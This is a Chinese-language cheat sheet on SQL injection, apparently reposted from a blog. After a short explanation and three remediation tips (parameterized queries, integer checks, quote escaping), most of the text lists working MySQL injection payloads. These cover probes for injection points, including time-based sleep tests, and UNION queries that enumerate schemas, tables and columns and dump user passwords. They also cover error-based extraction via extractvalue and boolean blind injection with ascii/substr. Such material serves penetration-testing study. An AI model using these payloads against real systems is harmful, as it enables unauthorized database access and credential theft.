1. 程式人生 > >SQL注入漏洞姿勢總結

SQL注入漏洞姿勢總結

一、SQL注入漏洞介紹:

SQL注入攻擊包括通過輸入資料從客戶端插入或“注入”SQL查詢到應用程式。一個成功的SQL注入攻擊可以從資料庫中獲取敏感資料、修改資料庫資料(插入/更新/刪除)、執行資料庫管理操作(如關閉資料庫管理系統)、恢復存在於資料庫檔案系統中的指定檔案內容,在某些情況下能對作業系統釋出命令。SQL注入攻擊是一種注入攻擊。它將SQL命令注入到資料層輸入,從而影響執行預定義的SQL命令。由於使用者的輸入,也是SQL語句的一部分,所以攻擊者可以利用這部分可以控制的內容,注入自己定義的語句,改變SQL語句執行邏輯,讓資料庫執行任意自己需要的指令。通過控制部分SQL語句,攻擊者可以查詢資料庫中任何自己需要的資料,利用資料庫的一些特性,可以直接獲取資料庫伺服器的系統許可權。

二、修復建議

  1. 使用引數化查詢介面或在程式碼級對帶入SQL語句中的外部引數進行轉義或過濾;
  2. 對於整數,判斷變數是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;
  3. 對於字串,對SQL語句特殊字元進行轉義(單引號轉成兩個單引號,雙引號轉成兩個雙引號)。

三、各類姿勢

3.1 通過以下操作先大概判斷是否存在注入點

  1. 如果引數(id)是數字,測試id=2-1與id=1返回的結果是否相同,如果做了2-1=1的運算,說明可能存在數字型注入。如果要用+號運算的話,因為URL編碼的問題,需要把加好換成%2B,如id=1%2B1
  2. 在引數後面加單引號或雙引號,判斷返回結果是否有報錯
  3. 添加註釋符,判斷前後是否有報錯,如id=1' --+ 或 id=1" --+ 或id=1' # 或id=1" --+  (--後面跟+號,是把+當成空格使用)
  4. 有些引數可能在括號裡面,如:SELECT first_name, last_name FROM users WHERE user_id = ('$id');所以也可以在引數後面加單雙引號和括號,如id=1')  --+ 或 id=1") --+ 或id=1') # 或id=1") --+ 
  5. 引數後面跟or 或者and,判斷返回結果是否有變化,如1' or 'a'='a  或者and 'a'='a或者1' or 'a'='b或者1' or '1'='2
  6.   如果返回的正確頁面與錯誤頁面都一樣,可以考慮時間延遲的方法判斷是否存在注入,如  1’ and sleep(5)

3.2 如果存在注入,利用注入獲取資訊

3.2.1 查詢結果如果可以直接返回

利用聯合查詢一步步的獲取資訊,如:

1' union select schema_name ,1 from information_schema.schemata --   // 獲取資料庫名稱,注意聯合查詢的列數和資料型別

1' union  select table_name from information_schema.tables where table_schema='database_name'  //根據上一步獲取的資料庫名稱,獲取表名

1' union  select column_name from information_schema.columns where table_schema='database_name' and table_name='table_name'  //根據上面的資料庫名稱和表名獲取欄位名

1′ union select group_concat(user_id,first_name,last_name),group_concat(password) from 資料庫名.表名   //使用group_concat的目的是把查詢結果合併成1列,另外,注意如果不是在一個數據庫下面的話,跨資料庫查詢,需要使用資料庫名.表明的格式,比如information_schema.schemata

3.2.2 通過報錯回顯查詢結果,如

and extractvalue(1,concat(0x7e,(select database())))  #直接回顯查詢到的值,回顯當前的資料庫名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))  #直接回顯查詢到的值,回顯表名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns  where table_schema='security'  and table_name='users')))   #直接回顯查詢到的值,回顯列名稱

3.2.3 布林型注入

SELECT * FROM users where id ='1' and LENGTH(database())=8     #判斷資料庫名的長度是多少

SELECT * FROM users where id ='1' and ascii(substr((select database()),1,1))>115   # 二分查詢發挨個判斷資料庫名稱的每個字母

SELECT * FROM users where id ='1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))>116  #挨個判斷此資料庫中表的每個字母